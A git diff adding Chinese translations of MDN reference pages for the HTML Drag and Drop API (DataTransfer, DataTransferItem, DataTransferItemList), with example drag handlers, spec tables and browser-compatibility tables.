+            // prevent Default event
+            ev.preventDefault();
+        }
+
+        function drop_handler(ev) {
+            console.log("Drop");
+            ev.preventDefault();
+            // Get the data, which is the id of the drop target
+            var data = ev.dataTransfer.getData("text");
+            // appendChild
+            ev.target.appendChild(document.getElementById(data));
+            // Clear the drag data cache (for all formats/types)
+            ev.dataTransfer.clearData();
+        }
+    </script>
+</body>
+</html>
+
+
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("HTML WHATWG", "interaction.html#dom-datatransfer-setdata", "setData()")}}{{Spec2("HTML WHATWG")}} 
{{SpecName("HTML5.1", "editing.html#dom-datatransfer-setdata", "setData()")}}{{Spec2("HTML5.1")}}Initial definition
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support4{{CompatVersionUnknown}}3.510123.1
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewChrome for AndroidEdgeFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari Mobile
Basic support{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatNo}}{{CompatIE("10")}}{{CompatNo}}{{CompatNo}}
+
+ +

也可以看看

+ +

{{page("/en-US/docs/Web/API/DataTransfer", "See also")}}

diff --git a/files/zh-cn/web/api/datatransfer/setdragimage/index.html b/files/zh-cn/web/api/datatransfer/setdragimage/index.html new file mode 100644 index 0000000000..29550800b6 --- /dev/null +++ b/files/zh-cn/web/api/datatransfer/setdragimage/index.html @@ -0,0 +1,193 @@ +--- +title: DataTransfer.setDragImage() +slug: Web/API/DataTransfer/setDragImage +translation_of: Web/API/DataTransfer/setDragImage +--- +
{{APIRef("HTML Drag and Drop API")}}
+ +
+ +

发生拖动时,从拖动目标({{event("dragstart")}}事件触发的元素)生成半透明图像,并在拖动过程中跟随鼠标指针。这个图片是自动创建的,你不需要自己去创建它。然而,如果想要设置为自定义图像,那么 DataTransfer.setDragImage() 方法就能派上用场。

+ +

图像通常是一个 {{HTMLElement("image")}} 元素,但也可以是{{HTMLElement("canvas")}} 或任何其他图像元素。该方法的x和y坐标是图像应该相对于鼠标指针出现的偏移量。

+ +

坐标指定鼠标指针相对于图片的偏移量。例如,要使图像居中,请使用图像宽度和高度的一半。

+ +

通常在  {{event("dragstart")}} 事件处理程序中调用此方法。

+ +

语法

+ +
void dataTransfer.setDragImage(img, xOffset, yOffset);
+
+ +

  参数

+ +
+
img | Element
+
用于拖曳反馈图像的图像 {{domxref("Element")}} 元素。
+
+ +

     如果Element是一个img元素,则将拖动位图设置为该元素的图像(保持大小);否则,将拖动数位图设置为从给定元素所生成的图片(当前尚未指定执行此操作的确切机制

+ +
+
xOffset
+
使用 long 指示相对于图片的横向偏移量
+
yOffset
+
使用 long 指示相对于图片的纵向偏移量 + +
+
+ +

返回值

+ +
+
void
+
+
+ +

举个例子

+ +

 这个例子展示如何使用 setDragImage() 方法。请注意,此例子引用了命名为 example.gif 的图片文件。如果此文件存在,它将被用作拖动图像,如果此文件不存在,浏览器会使用其默认的拖动图像。

+ +
<!DOCTYPE html>
+<html lang=en>
+<title>Example of DataTransfer.setDragImage()</title>
+<meta name="viewport" content="width=device-width">
+<style>
+  div {
+    margin: 0em;
+    padding: 2em;
+  }
+  #source {
+    color: blue;
+    border: 1px solid black;
+  }
+  #target {
+    border: 1px solid black;
+  }
+</style>
+<script>
+function dragstart_handler(ev) {
+ console.log("dragStart");
+ // 设置拖动的格式和数据。使用事件目标的id作为数据
+ ev.dataTransfer.setData("text/plain", ev.target.id);
+ // 创建一个图像并且使用它作为拖动图像
+ // 请注意: 改变 "example.gif" 为一个已经存在的图片
+ // 或者,一个还没有创建出来的图片,那么浏览器将会使用默认的拖动图片
+ // 译者注:默认的拖动图片与拖动对象没有联系。一般是一个小型文件图标
+ var img = new Image();
+ img.src = 'example.gif';
+ ev.dataTransfer.setDragImage(img, 10, 10);
+}
+
+function dragover_handler(ev) {
+ console.log("dragOver");
+ ev.preventDefault();
+}
+
+function drop_handler(ev) {
+ console.log("Drop");
+ ev.preventDefault();
+ // 获取拖放目标的id数据
+ var data = ev.dataTransfer.getData("text");
+ ev.target.appendChild(document.getElementById(data));
+}
+</script>
+<body>
+<h1>Example of <code>DataTransfer.setDragImage()</code></h1>
+ <div>
+   <p id="source" ondragstart="dragstart_handler(event);" draggable="true">
+     Select this element, drag it to the Drop Zone and then release the selection to move the element.</p>
+ </div>
+ <div id="target" ondrop="drop_handler(event);" ondragover="dragover_handler(event);">Drop Zone</div>
+</body>
+</html>
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', 'interaction.html#dom-datatransfer-setdragimage','setDragImage()')}}{{Spec2('HTML WHATWG')}}
{{SpecName('HTML5.1', 'editing.html#dom-datatransfer-setdragimage','setDragImage()')}}{{Spec2('HTML5.1')}}Not included in W3C HTML5 {{Spec2('HTML5 W3C')}}
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support43.5{{CompatNo}}123.1
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewChrome for AndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari Mobile
Basic support{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatIE("10")}}{{CompatNo}}{{CompatNo}}
+
+ +

参考链接

+ +

{{page("/en-US/docs/Web/API/DataTransfer", "See also")}}

+ +
+
+
diff --git a/files/zh-cn/web/api/datatransfer/types/index.html b/files/zh-cn/web/api/datatransfer/types/index.html new file mode 100644 index 0000000000..6bc63e1811 --- /dev/null +++ b/files/zh-cn/web/api/datatransfer/types/index.html @@ -0,0 +1,177 @@ +--- +title: DataTransfer.types +slug: Web/API/DataTransfer/types +translation_of: Web/API/DataTransfer/types +--- +
+

{{APIRef("HTML Drag and Drop API")}}

+ +

DataTransfer.types 是只读属性。它返回一个我们在{{event("dragstart")}}事件中设置的拖动数据格式(如 {{domxref("DOMString","字符串")}}) 的数组。 格式顺序与拖动操作中包含的数据顺序相同。  

+ +

这些格式是指定数据类型或格式的Unicode字符串,通常由MIME类型给出。 一些非MIME类型的值是由于历史遗留原因(例如“text”)而特殊设置的。

+ +

语法

+ +
dataTransfer.types;
+
+ +

返回值

+ +

拖动操作中使用的数据格式数组。每种格式都是{{domxref("DOMString","字符串")}}类型。如果拖动操作不包含数据,则此数组列表将为空。如果拖动操作中包含任何文件,则其中一个类型将是Files。

+ +

举个例子

+ +

这个例子展示types和{{domxref("DataTransfer.items","items")}} 属性的用法

+ +
<!DOCTYPE html>
+<html lang=en>
+<title>Examples of DataTransfer.{types,items} properties</title>
+<meta content="width=device-width">
+<style>
+  div {
+    margin: 0em;
+    padding: 2em;
+  }
+  #target {
+    border: 1px solid black;
+  }
+</style>
+<script>
+function dragstart_handler(ev) {
+ console.log("dragStart: target.id = " + ev.target.id);
+ // 将这个元素的id添加到drag载荷中,
+ // 以便drop事件知道将哪个元素添加到其树中。
+ ev.dataTransfer.setData("text/plain", ev.target.id);
+ ev.dataTransfer.effectAllowed = "move";
+}
+
+function drop_handler(ev) {
+ console.log("drop: target.id = " + ev.target.id);
+ ev.preventDefault();
+ // 得到目标的id并且将移动的元素添加到目标DOM中
+ var data = ev.dataTransfer.getData("text");
+ ev.target.appendChild(document.getElementById(data));
+ // 打印每种格式类型
+ if (ev.dataTransfer.types != null) {
+   for (var i=0; i < ev.dataTransfer.types.length; i++) {
+     console.log("... types[" + i + "] = " + ev.dataTransfer.types[i]);
+   }
+ }
+ // 打印每个item的“kind”和“type”属性值
+ if (ev.dataTransfer.items != null) {
+   for (var i=0; i < ev.dataTransfer.items.length; i++) {
+     console.log("... items[" + i + "].kind = " + ev.dataTransfer.items[i].kind + " ; type = " + ev.dataTransfer.items[i].type);
+   }
+ }
+}
+
+function dragover_handler(ev) {
+ console.log("dragOver");
+ ev.preventDefault();
+ // 设置dropEffect属性值为move
+ ev.dataTransfer.dropEffect = "move"
+}
+</script>
+<body>
+<h1>Examples of <code>DataTransfer</code>.{<code>types</code>, <code>items</code>} properties</h1>
+ <ul>
+   <li id="i1" ondragstart="dragstart_handler(event);" draggable="true">Drag Item 1 to the Drop Zone</li>
+   <li id="i2" ondragstart="dragstart_handler(event);" draggable="true">Drag Item 2 to the Drop Zone</li>
+ </ul>
+ <div id="target" ondrop="drop_handler(event);" ondragover="dragover_handler(event);">Drop Zone</div>
+</body>
+</html>
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + +
规范文档状态说明
{{SpecName("HTML WHATWG", "interaction.html#dom-datatransfer-types", "types")}}{{Spec2("HTML WHATWG")}} 
{{SpecName("HTML5.1", "editing.html#dom-datatransfer-types", "types")}}{{Spec2("HTML5.1")}}Initial definition
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support4{{CompatVersionUnknown}}3.5
+ {{CompatGeckoDesktop(52)}}[1]
10123.1
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewChrome for AndroidEdgeFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari Mobile
Basic support{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+ {{CompatGeckoMobile(52)}}[1]
{{CompatNo}}{{CompatIE("10")}}{{CompatNo}}{{CompatNo}}
+
+ +

[1]从Firefox52版本开始,{{domxref("DataTransfer.types")}}属性根据规范返回一个冻结的(frozen){{domxref("DOMString")}}s数组,而不是{{domxref("DOMStringList")}}

+ +

参考链接

+ +

{{page("/en-US/docs/Web/API/DataTransfer", "See also")}}

+
+ +

 

diff --git a/files/zh-cn/web/api/datatransferitem/getasfile/index.html b/files/zh-cn/web/api/datatransferitem/getasfile/index.html new file mode 100644 index 0000000000..c1f1326629 --- /dev/null +++ b/files/zh-cn/web/api/datatransferitem/getasfile/index.html @@ -0,0 +1,94 @@ +--- +title: DataTransferItem.getAsFile() +slug: Web/API/DataTransferItem/getAsFile +tags: + - API + - DataTransferItem +translation_of: Web/API/DataTransferItem/getAsFile +--- +
{{APIRef("HTML Drag and Drop API")}}
+ +

如果DataTransferItem是一个文件, 那 DataTransferItem.getAsFile()  方法将返回拖拽项数据的 {{domxref("File")}} 对象. 如果拖拽项的数据不是一个文件,则返回 null.

+ +

语法

+ +
File = DataTransferItem.getAsFile();
+
+ +

参数

+ +

无.

+ +

返回值

+ +
+
{{domxref("File")}}
+
如果拖拽项的对象是一个文件, 则返回 {{domxref("File")}} 对象; 否则返回 null .
+
+ +

例子

+ +

下面这个例子中使用 getAsFile() 。放在 {{event("drop")}} 事件处理里面.

+ +
function drop_handler(ev) {
+ console.log("Drop");
+ ev.preventDefault();
+ var data = event.dataTransfer.items;
+ for (var i = 0; i < data.length; i += 1) {
+   if ((data[i].kind == 'string') &&
+       (data[i].type.match('^text/plain'))) {
+     // 遍历拖拽项的内容
+     data[i].getAsString(function (s){
+       ev.target.appendChild(document.getElementById(s));
+     });
+   } else if ((data[i].kind == 'string') &&
+              (data[i].type.match('^text/html'))) {
+     // 拖拽项的数据是 HTML
+     console.log("... Drop: HTML");
+   } else if ((data[i].kind == 'string') &&
+              (data[i].type.match('^text/uri-list'))) {
+     // 拖拽项的数据是URI
+     console.log("... Drop: URI");
+   } else if ((data[i].kind == 'file') &&
+              (data[i].type.match('^image/'))) {
+     // 拖拽项的数据是一个图片
+     var f = data[i].getAsFile();
+     console.log("... Drop: File ");
+   }
+ }
+}
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', 'interaction.html#dom-datatransferitem-getasfile','getAsFile()')}}{{Spec2('HTML WHATWG')}}Initial value
{{SpecName('HTML5.1', 'editing.html#dom-datatransferitem-getasfile','getAsFile()')}}{{Spec2('HTML5.1')}}Snapshot of the HTML WHATWG document
+ +

浏览器兼容

+ + + +

{{Compat("api.DataTransferItem.getAsFile")}}

+ +

查看更多

+ + diff --git a/files/zh-cn/web/api/datatransferitem/getasstring/index.html b/files/zh-cn/web/api/datatransferitem/getasstring/index.html new file mode 100644 index 0000000000..3b8147f7f6 --- /dev/null +++ b/files/zh-cn/web/api/datatransferitem/getasstring/index.html @@ -0,0 +1,102 @@ +--- +title: DataTransferItem.getAsString() +slug: Web/API/DataTransferItem/getAsString +translation_of: Web/API/DataTransferItem/getAsString +--- +
{{APIRef("HTML Drag and Drop API")}}
+ +

 DataTransferItem.getAsString()  当DataTransferItem对象的kind属性是一个普通Unicode字符串时,该方法会用 DataTransferItem对象的kind属性作为入参来执行传入的回调函数 (i.e. kind is string).

+ +

示例

+ +
dataTransferItem.getAsString(callback);
+
+ +

Parameters

+ +
+
callback
+
A callback function that has access to the {{domxref("DataTransferItem","data transfer item's")}} string data. See {{anch("Callback")}} below for details.
+
+ +

Return value

+ +

{{jsxref("undefined")}}

+ +

Callback

+ +

The callback parameter is a callback function which accepts one parameter:

+ +
+
{{domxref("DOMString")}}
+
The drag data item's string data.
+
+ +

The callback return value is undefined.

+ +

Example

+ +

This example shows the use of the getAsString() method as an inline function in a {{event("drop")}} event handler.

+ +
function drop_handler(ev) {
+ console.log("Drop");
+ ev.preventDefault();
+ var data = ev.dataTransfer.items;
+ for (var i = 0; i < data.length; i += 1) {
+   if ((data[i].kind == 'string') &&
+       (data[i].type.match('^text/plain'))) {
+     // This item is the target node
+     data[i].getAsString(function (s){
+       ev.target.appendChild(document.getElementById(s));
+     });
+   } else if ((data[i].kind == 'string') &&
+              (data[i].type.match('^text/html'))) {
+     // Drag data item is HTML
+     console.log("... Drop: HTML");
+   } else if ((data[i].kind == 'string') &&
+              (data[i].type.match('^text/uri-list'))) {
+     // Drag data item is URI
+     console.log("... Drop: URI");
+   } else if ((data[i].kind == 'file') &&
+              (data[i].type.match('^image/'))) {
+     // Drag data item is an image file
+     var f = data[i].getAsFile();
+     console.log("... Drop: File ");
+   }
+ }
+}
+
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', 'interaction.html#dom-datatransferitem-getasstring','getAsString()')}}{{Spec2('HTML WHATWG')}}Initial definition.
{{SpecName('HTML5.1', 'editing.html#dom-datatransferitem-getasstring','getAsString()')}}{{Spec2('HTML5.1')}}Snapshot fo HTML WHATWG document
+ +

Browser compatibility

+ + + +

{{Compat("api.DataTransferItem.getAsString")}}

+ +

See also

+ + diff --git a/files/zh-cn/web/api/datatransferitem/index.html b/files/zh-cn/web/api/datatransferitem/index.html new file mode 100644 index 0000000000..1f05ea0fb9 --- /dev/null +++ b/files/zh-cn/web/api/datatransferitem/index.html @@ -0,0 +1,121 @@ +--- +title: DataTransferItem +slug: Web/API/DataTransferItem +translation_of: Web/API/DataTransferItem +--- +
{{APIRef("HTML Drag and Drop API")}}
+ +

DataTransferItem 描述了一个拖拽项。在一个拖拽操作中,每一个 {{domxref("DragEvent","drag event")}} 都有一个{{domxref("DragEvent.dataTransfer","dataTransfer")}} 属性,它包含一个存有拖拽数据的 {{domxref("DataTransferItemList","list")}} ,其中每一项都是一个 DataTransferItem 。

+ +

这个接口没有构造函数。

+ +

属性

+ +
+
{{domxref("DataTransferItem.kind")}} {{readonlyInline}}
+
拖拽项的种类,string 或是 file。
+
{{domxref("DataTransferItem.type")}} {{readonlyInline}}
+
拖拽项的类型,一般是一个MIME 类型.
+
+ +

方法

+ +
+
{{domxref("DataTransferItem.getAsFile()")}}
+
返回一个关联拖拽项的 {{domxref("File")}} 对象 (当拖拽项不是一个文件时返回 null)。
+
{{domxref("DataTransferItem.getAsString()")}}
+
使用拖拽项的字符串作为参数执行指定回调函数。
+
{{domxref("DataTransferItem.webkitGetAsEntry()")}} {{Non-standard_inline}}
+
返回一个基于 {{domxref("FileSystemEntry")}} 的对象来表示文件系统中选中的项目。通常是返回一个{{domxref("FileSystemFileEntry")}} 或是 {{domxref("FileSystemDirectoryEntry")}} 对象.
+
+ +

例子

+ +

这个接口所有的属性和方法都有自己的介绍页,请到各自的介绍页中查看示例用法。

+ +

规范

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', 'interaction.html#datatransferitem','DataTransferItem')}}{{Spec2('HTML WHATWG')}}初始定义
{{SpecName('HTML5.1', 'editing.html#datatransferitem','DataTransferItem')}}{{Spec2('HTML5.1')}}W3C snapshot of WHATWG
{{SpecName('File System API', '#dom-datatransferitem-webkitgetasentry', 'DataTransferItem.webkitGetAsEntry()')}}{{Spec2('File System API')}}File and Directory Entries API 中定义了webkitGetAsEntry()
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support4{{CompatVersionUnknown}}{{CompatGeckoDesktop(50)}}{{CompatNo}}12{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewChrome for AndroidEdgeFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari Mobile
Basic support{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatUnknown}}{{CompatGeckoMobile(50)}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
diff --git a/files/zh-cn/web/api/datatransferitem/kind/index.html b/files/zh-cn/web/api/datatransferitem/kind/index.html new file mode 100644 index 0000000000..e475661971 --- /dev/null +++ b/files/zh-cn/web/api/datatransferitem/kind/index.html @@ -0,0 +1,96 @@ +--- +title: DataTransferItem.kind +slug: Web/API/DataTransferItem/kind +tags: + - API + - DataTransferItem + - HTML DOM + - HTML Drag and Drop API + - Property + - Reference + - drag and drop + - kind +translation_of: Web/API/DataTransferItem/kind +--- +
{{APIRef("HTML Drag and Drop API")}}
+ +

DataTransferItem.kind 是一个只读属性,它返回一个 {{domxref("DataTransferItem")}} 用来表示拖拽项(drag data item)的类型: 一些文本或者一些文件。

+ +

语法

+ +
var itemKind = DataTransferItem.kind;
+
+ +

返回值

+ +

 {{domxref("DOMString")}} 用来表示拖拽项(drag data item)的类型. 它的值必须是以下值中的一个:

+ +
+
'file'
+
拖拽项是一个文件。
+
'string'
+
拖拽项是一个普通的 Unicode 字符。
+
+ +

例子

+ +

下面这个例子是 kind 属性的用法.

+ +
function drop_handler(ev) {
+ console.log("Drop");
+ ev.preventDefault();
+ var data = event.dataTransfer.items;
+ for (var i = 0; i < data.length; i += 1) {
+   if ((data[i].kind == 'string') &&
+       (data[i].type.match('^text/plain'))) {
+     // This item is the target node
+     data[i].getAsString(function (s){
+       ev.target.appendChild(document.getElementById(s));
+     });
+   } else if ((data[i].kind == 'string') &&
+              (data[i].type.match('^text/html'))) {
+     // Drag data item is HTML
+     console.log("... Drop: HTML");
+   } else if ((data[i].kind == 'file') &&
+              (data[i].type.match('^image/'))) {
+     // Drag data item is an image file
+     var f = data[i].getAsFile();
+     console.log("... Drop: File ");
+   }
+ }
+}
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', 'interaction.html#dom-datatransferitem-kind','kind')}}{{Spec2('HTML WHATWG')}}Initial version
{{SpecName('HTML5.1', 'editing.html#dom-datatransferitem-kind','kind')}}{{Spec2('HTML5.1')}}W3C snapshot of the WHATWG document.
+ +

浏览器兼容性

+ + + +

{{Compat("api.DataTransferItem.kind")}}

+ +

查看更多

+ +

{{page("/en-US/docs/Web/API/DataTransfer", "See also")}}

+ +

 

diff --git a/files/zh-cn/web/api/datatransferitem/type/index.html b/files/zh-cn/web/api/datatransferitem/type/index.html new file mode 100644 index 0000000000..10acc277d1 --- /dev/null +++ b/files/zh-cn/web/api/datatransferitem/type/index.html @@ -0,0 +1,87 @@ +--- +title: DataTransferItem.type +slug: Web/API/DataTransferItem/type +translation_of: Web/API/DataTransferItem/type +--- +
{{APIRef("HTML Drag and Drop API")}}
+ +

只读属性DataTransferItem.type 返回代表拖动数据项的 {{domxref("DataTransferItem")}} 对象的类型(格式)。  type 是一个Unicode字符串,通常由MIME给出,不过不需要MIME类型。

+ +

举例一些类型: text/plain 和 text/html.

+ +

语法

+ +
dataItem.type;
+
+ +

返回值

+ +

一个代表拖动数据项类型的 {{domxref("DOMString")}}。

+ +

示例

+ +

这个例子演示了type 属性的用法。

+ +
function drop_handler(ev) {
+ console.log("Drop");
+ ev.preventDefault();
+ var data = ev.dataTransfer.items;
+ for (var i = 0; i < data.length; i += 1) {
+   if ((data[i].kind == 'string') &&
+       (data[i].type.match('^text/plain'))) {
+     // This item is the target node
+     data[i].getAsString(function (s){
+       ev.target.appendChild(document.getElementById(s));
+     });
+   } else if ((data[i].kind == 'string') &&
+              (data[i].type.match('^text/html'))) {
+     // Drag data item is HTML
+     console.log("... Drop: HTML");
+   } else if ((data[i].kind == 'string') &&
+              (data[i].type.match('^text/uri-list'))) {
+     // Drag data item is URI
+     console.log("... Drop: URI");
+   } else if ((data[i].kind == 'file') &&
+              (data[i].type.match('^image/'))) {
+     // Drag data item is an image file
+     var f = data[i].getAsFile();
+     console.log("... Drop: File ");
+   }
+ }
+}
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + +
规范状态备注
{{SpecName('HTML WHATWG', 'interaction.html#dom-datatransferitem-type','type')}}{{Spec2('HTML WHATWG')}}Initial version
{{SpecName('HTML5.1', 'editing.html#dom-datatransferitem-type','type')}}{{Spec2('HTML5.1')}}Snapshot of the HTML WHATWG document
+ +

浏览器兼容性

+ + + +

{{Compat("api.DataTransferItem.type")}}

+ +

另见

+ + diff --git a/files/zh-cn/web/api/datatransferitem/webkitgetasentry/index.html b/files/zh-cn/web/api/datatransferitem/webkitgetasentry/index.html new file mode 100644 index 0000000000..dc0cb8a184 --- /dev/null +++ b/files/zh-cn/web/api/datatransferitem/webkitgetasentry/index.html @@ -0,0 +1,179 @@ +--- +title: DataTransferItem.webkitGetAsEntry() +slug: Web/API/DataTransferItem/webkitGetAsEntry +translation_of: Web/API/DataTransferItem/webkitGetAsEntry +--- +

如果由文件描述的项目DataTransferItem是文件,则webkitGetAsEntry()返回FileSystemFileEntryFileSystemDirectoryEntry表示它。如果该项不是文件,null则返回。

+ +
+

此功能webkitGetAsEntry()在此时非包含Firefox的非WebKit浏览器中实现; 它可能会getAsEntry()在以后简单地重命名,所以你应该进行防御性编码,寻找两者。

+
+ +

语法

+ +
DataTransferItem.webkitGetAsEntry();
+ +

参数

+ +

没有。

+ +

返回值

+ +

FileSystemEntry基于的对象描述被删除的项目。这将是FileSystemFileEntryFileSystemDirectoryEntry

+ +

示例

+ +

在此示例中,创建了一个放置区域,该放置区域drop通过扫描已删除的文件和目录来响应事件,从而输出分层目录列表。

+ +

HTML内容

+ +

HTML建立了放置区本身,它是<div>具有ID 元素"dropzone",以及带有ID 的无序列表元素"listing"

+ +
<p>Drag files and/or directories to the box below!</p>
+
+<div id="dropzone">
+  <div id="boxtitle">
+    Drop Files Here
+  </div>
+</div>
+
+<h2>Directory tree:</h2>
+
+<ul id="listing">
+</ul>
+ +

CSS内容

+ +

此处显示示例使用的样式。

+ +
#dropzone {
+  text-align: center;
+  width: 300px;
+  height: 100px;
+  margin: 10px;
+  padding: 10px;
+  border: 4px dashed red;
+  border-radius: 10px;
+}
+
+#boxtitle {
+  display: table-cell;
+  vertical-align: middle;
+  text-align: center;
+  color: black;
+  font: bold 2em "Arial", sans-serif;
+  width: 300px;
+  height: 100px;
+}
+
+body {
+  font: 14px "Arial", sans-serif;
+}
+ +

JavaScript内容

+ +

首先,让我们看一下递归scanFiles()函数。该函数将FileSystemEntry表示要扫描和处理的文件系统中的条目(item参数)和插入内容列表(container参数)的元素作为输入

+ +
+

请注意,要读取目录中的所有文件,readEntries需要重复调​​用,直到它返回一个空数组。在基于Chromium的浏览器中,以下示例仅返回最多100个条目。

+
+ +
let dropzone = document.getElementById("dropzone");
+let listing = document.getElementById("listing");
+
+function scanFiles(item, container) {
+  let elem = document.createElement("li");
+  elem.innerHTML = item.name;
+  container.appendChild(elem);
+
+ if (item.isDirectory) {
+    let directoryReader = item.createReader();
+    let directoryContainer = document.createElement("ul");
+    container.appendChild(directoryContainer);
+    directoryReader.readEntries(function(entries) {
+        entries.forEach(function(entry) {
+          scanFiles(entry, directoryContainer);
+      });
+    });
+  }
+}
+
+ +

scanFiles()首先创建一个新<li>元素来表示正在扫描的项目,将项目的名称作为文本内容插入其中,然后将其附加到容器中。容器在此示例中始终是列表元素,您很快就会看到。

+ +

一旦当前项目在列表中,isDirectory就会检查项目的属性。如果该项目是目录,我们需要递归到该目录。第一步是创建一个FileSystemDirectoryReaderto来处理获取目录的内容。这是通过调用item的createReader()方法完成的。然后<ul>创建一个new 并将其附加到父列表; 这将包含列表层次结构中下一级别的目录内容。

+ +

之后,directoryReader.readEntries()调用读取目录中的所有条目。反过来,这些都被传递到递归调用scanFiles()以处理它们。其中任何文件都只是插入到列表中; 将任何目录插入到列表中,并在下面添加列表层次结构的新级别,依此类推。

+ +

然后是事件处理程序。首先,我们阻止dragover事件由默认处理程序处理,以便我们的drop区域可以接收drop:

+ +
dropzone.addEventListener("dragover", function(event) {
+    event.preventDefault();
+}, false);
+
+ +

当然,关闭所有事件的事件处理程序是事件的处理程序drop

+ +
dropzone.addEventListener("drop", function(event) {
+  let items = event.dataTransfer.items;
+
+  event.preventDefault();
+  listing.innerHTML = "";
+
+  for (let i=0; i<items.length; i++) {
+    let item = items[i].webkitGetAsEntry();
+
+    if (item) {
+        scanFiles(item, listing);
+    }
+  }
+}, false);
+ +

这将获取DataTransferItem表示从中删除的项目对象列表event.dataTransfer.items然后我们打电话Event.preventDefault()来防止事件在完成后被进一步处理。

+ +

现在是时候开始构建列表了。首先,通过设置listing.innerHTML为空来清空列表这使我们ul开始插入目录条目为

+ +

然后我们遍历已删除项目列表中的项目。对于每一个,我们调用它的webkitGetAsEntry()方法来获得FileSystemEntry表示文件。如果成功,我们会调用scanFiles()处理项目 - 如果它只是一个文件,或者添加它,如果它是一个目录,则将其添加到列表中。

+ +

结果

+ +

你可以通过下面的尝试看看它是如何工作的。 找到一些文件和目录并将其拖入,然后查看生成的输出。

+ +

{{ EmbedLiveSample('Example', 600, 400) }}

+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName("File System API", "#dom-datatransferitem-webkitgetasentry", "webkitGetAsEntry()") }}{{ Spec2("File System API") }}初始规格。
+ +

此API没有官方的W3C或WHATWG规范。

+ +

浏览器兼容性

+ + + +

{{COMPAT("api.DataTransferItem.webkitGetAsEntry")}}

+ +

也可以看看

+ + diff --git a/files/zh-cn/web/api/datatransferitemlist/index.html b/files/zh-cn/web/api/datatransferitemlist/index.html new file mode 100644 index 0000000000..1ffb99b9e7 --- /dev/null +++ b/files/zh-cn/web/api/datatransferitemlist/index.html @@ -0,0 +1,68 @@ +--- +title: DataTransferItemList +slug: Web/API/DataTransferItemList +translation_of: Web/API/DataTransferItemList +--- +

{{APIRef("HTML Drag and Drop API")}}

+ +

DataTransferItemList 对象是一组代表被拖动项的{{domxref("DataTransferItem")}} 对象的列表。在拖动操作期间,每个{{domxref("DragEvent")}} 都有一个 {{domxref("DragEvent.dataTransfer","dataTransfer")}} 属性,该属性是 DataTransferItemList.

+ +

该接口没有构造函数

+ +

属性

+ +
+
{{domxref("DataTransferItemList.length")}} {{readonlyInline}}
+
 无符号长整型 :列表中拖动项的数量。
+
+ +

方法

+ +
+
{{domxref("DataTransferItemList.add()")}}
+
向拖动项列表中添加新项 ({{domxref("File")}}对象或{{domxref("DOMString","string")}}),该方法返回一个 {{domxref("DataTransferItem")}} 对象。
+
{{domxref("DataTransferItemList.remove()")}}
+
根据索引删除拖动项列表中的对象。
+
{{domxref("DataTransferItemList.clear()")}}
+
清空拖动项列表。
+
{{domxref("DataTransferItemList.DataTransferItem()")}}
+
取值方法:返回给定下标的{{domxref("DataTransferItem")}}对象.
+
+ +

示例

+ +

每个方法或属性都有其引用页面,每一个引用页对应也有使用示例。

+ +

规范

+ + + + + + + + + + + + + + + + + + + + + +
规范状态备注
{{SpecName('HTML WHATWG', 'interaction.html#datatransferitemlist','DataTransferItemList')}}{{Spec2('HTML WHATWG')}}
{{SpecName('HTML5.1', 'editing.html#datatransferitemlist','DataTransferItemList')}}{{Spec2('HTML5.1')}}Not included in W3C HTML5 {{Spec2('HTML5 W3C')}}
+ +

浏览器兼容性

+ + + + + +

{{Compat("api.DataTransferItemList")}}

diff --git a/files/zh-cn/web/api/datatransferitemlist/length/index.html b/files/zh-cn/web/api/datatransferitemlist/length/index.html new file mode 100644 index 0000000000..42dc044eaf --- /dev/null +++ b/files/zh-cn/web/api/datatransferitemlist/length/index.html @@ -0,0 +1,137 @@ +--- +title: DataTransferItemList.length +slug: Web/API/DataTransferItemList/length +translation_of: Web/API/DataTransferItemList/length +--- +

{{domxref("DataTransferItemList")}} 接口的只读属性length 返回当前拖动项列表中项目的数量.

+ +

语法

+ +
length = DataTransferItemList.length;
+
+ +

+ +

